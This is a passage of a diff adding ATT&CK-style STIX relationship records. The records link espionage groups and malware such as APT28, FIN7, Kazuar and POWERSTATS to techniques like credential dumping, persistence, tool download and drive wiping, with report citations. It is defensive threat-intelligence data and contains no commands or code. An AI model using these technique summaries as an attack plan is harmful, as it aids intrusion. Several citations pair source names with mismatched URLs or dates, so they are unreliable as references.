"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4228f64-bc0c-47a5-a3d8-d9aabdf66bfc", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. 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Retrieved November 2, 2018.", + "url": "https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html" + } + ], + "modified": "2019-02-01T14:39:36.186Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dok](https://attack.mitre.org/software/S0281) installs a root certificate to aid in man-in-the-middle actions.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97c225e6-64ad-42af-8cc4-4fb4deea39fc", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. 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Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has collected information from Microsoft SharePoint services within target networks.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--743ed7c3-c0e3-4290-9410-f6bec9224c30", + "external_references": [ + { + "source_name": "RSAC 2015 Abu Dhabi Stefano Maccaglia", + "description": "Maccaglia, S. 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Retrieved April 4, 2018.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/2015.11.04_Evolving_Threats/cct-w08_evolving-threats-dissection-of-a-cyber-espionage-attack.pdf" + } + ], + "modified": "2019-07-27T00:09:35.937Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:31:34.378Z", + "type": "relationship", + "id": "relationship--9213f7ac-c548-4139-950b-5481a94570f9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.023Z", + "source_ref": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) launches a script to delete their original decoy file to cover tracks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c5378fb-d1d3-4873-bf38-5553df5b8845", + "external_references": [ + { + "source_name": "fsecure NanHaiShu July 2016", + "description": "F-Secure Labs. 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(2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used an audio capturing utility known as SOUNDWAVE that captures microphone input.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e66427b2-f353-446a-aedf-decccb926172", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2019-07-08T14:33:15.909Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about opened windows.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--afa84fd1-e910-4bc7-8270-1e9f9b02b53f", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.583Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can delete all files on the C:\\, D:\\, E:\\ and, F:\\ drives using [PowerShell](https://attack.mitre.org/techniques/T1086) Remove-Item commands.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c18652f6-e25c-4e01-bec2-04204a50cf23", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:52.892Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:01:55.840Z", + "type": "relationship", + "id": "relationship--56086ed3-641e-4fd5-b26e-1ca9479c2081", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) creates a Launch Agent on macOS.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c324849-fe93-45d4-a7eb-5755f2012ef3", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used bitsadmin.exe to download additional tools.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b5894858-3f86-48f4-8ae0-7fcb8c19c36b", + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.131Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Suckfly](https://attack.mitre.org/groups/G0039) the victim's internal network for hosts with ports 8080, 5900, and 40 open.", + "type": "relationship", + "created": "2017-05-31T21:33:27.075Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9b360cf4-4600-4ea8-a28c-99d91e0d1734", + "external_references": [ + { + "source_name": "Symantec Suckfly May 2016", + "description": "DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.", + "url": "http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks" + } + ], + "modified": "2019-03-25T16:59:47.237Z", + "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has created new services to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d54a98b2-8023-43ac-8577-53796b1efa55", + "external_references": [ + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.624Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used remote code execution to download subsequent payloads.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c3dd754d-3e2b-4761-8d21-2e7a52fc6616", + "external_references": [ + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "modified": "2019-03-22T20:21:57.627Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "After re-establishing access to a victim network, [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors download tools including [gsecdump](https://attack.mitre.org/software/S0008) and WCE that are staged temporarily on websites that were previously compromised but never used.", + "type": "relationship", + "created": "2017-05-31T21:33:27.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6a1693a7-1e85-48b6-9097-11339a987099", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:54.914Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Once a removable media device is inserted back into the first victim, [USBStealer](https://attack.mitre.org/software/S0136) collects data from it that was exfiltrated from a second victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--00ae99d1-db02-4007-8669-04d7fc4c1390", + "external_references": [ + { + "source_name": "ESET Sednit USBStealer 2014", + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + }, + { + "source_name": "Kaspersky Sofacy", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.", + "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) has used credential dumping tools.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d93265a6-1f92-472b-9e47-48b7863d8171", + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "modified": "2019-03-25T16:57:02.775Z", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used ping to identify other machines of interest.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--280bb6ec-0d7f-4a42-a3f2-7a3b43886126", + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "modified": "2019-03-22T20:09:34.708Z", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT19](https://attack.mitre.org/groups/G0073) HTTP malware variant used Base64 to encode communications to the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1b46f3e-b25c-43c0-9ab2-ef6e5ff8270c", + "external_references": [ + { + "source_name": "Unit 42 C0d0so0 Jan 2016", + "description": "Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/" + } + ], + "modified": "2019-04-25T11:39:52.086Z", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "relationship_type": "uses", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used RAR to compress, encrypt, and password-protect files prior to exfiltration.", + "type": "relationship", + "created": "2017-05-31T21:33:27.062Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c8c5b766-a719-43bd-988a-cb00beedbba3", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:54.926Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) can inject a malicious DLL into a process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d020981-51b3-4ff6-825f-7cd192c934e1", + "external_references": [ + { + "source_name": "FireEye Poison Ivy", + "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" + }, + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Thrip](https://attack.mitre.org/groups/G0076) used a cloud-based remote access software called LogMeIn for their attacks.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52f31493-1654-4516-960d-c79018f1efd8", + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "modified": "2019-03-25T17:06:37.138Z", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "relationship_type": "uses", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Part of [APT28](https://attack.mitre.org/groups/G0007)'s operation involved using [CHOPSTICK](https://attack.mitre.org/software/S0023) modules to copy itself to air-gapped machines and using files written to USB sticks to transfer data and command traffic.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9aeda7e2-e452-4cd3-837f-e258cba1fc96", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + }, + { + "source_name": "Microsoft SIR Vol 19", + "description": "Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.", + "url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf" + } + ], + "modified": "2019-05-14T17:10:21.853Z", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Daserf](https://attack.mitre.org/software/S0187) samples were signed with a stolen digital certificate.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f2e2727-ffe5-42ad-93fc-e856303ca684", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) used several tools for retrieving login and password information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21198a81-0fa4-4114-9a75-478e7212b87a", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.399Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can create a .lnk file and add a Registry Run key to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1ec1602-33d6-45be-8eda-2020094e93a4", + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.661Z", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Daserf](https://attack.mitre.org/software/S0187) can download remote files.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--24503815-4ac5-4d57-9e95-ebeb84e0c11b", + "external_references": [ + { + "source_name": "Trend Micro Daserf Nov 2017", + "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", + "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" + }, + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T12:40:51.917Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.036Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--324a5331-cce7-4154-a803-ad68d5de1f94", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "malware--f2e8c7a1-cae1-45c4-baf0-6f21bdcbb2c2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) created several .LNK files on the victim's machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--79d12bfb-6458-472f-85fc-4a8403956f9a", + "external_references": [ + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + } + ], + "modified": "2019-06-30T23:13:18.303Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has commands to get information about the victim's name, build, version, serial number, and memory usage.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1fda6ff7-a344-4bc3-b545-4083cc15290d", + "external_references": [ + { + "source_name": "Volexity PowerDuke November 2016", + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "modified": "2019-04-22T22:31:38.315Z", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Winnti Group](https://attack.mitre.org/groups/G0044) used a rootkit to modify typical server functionality.", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--05e05236-1635-48d7-8ee3-33319c01c815", + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). 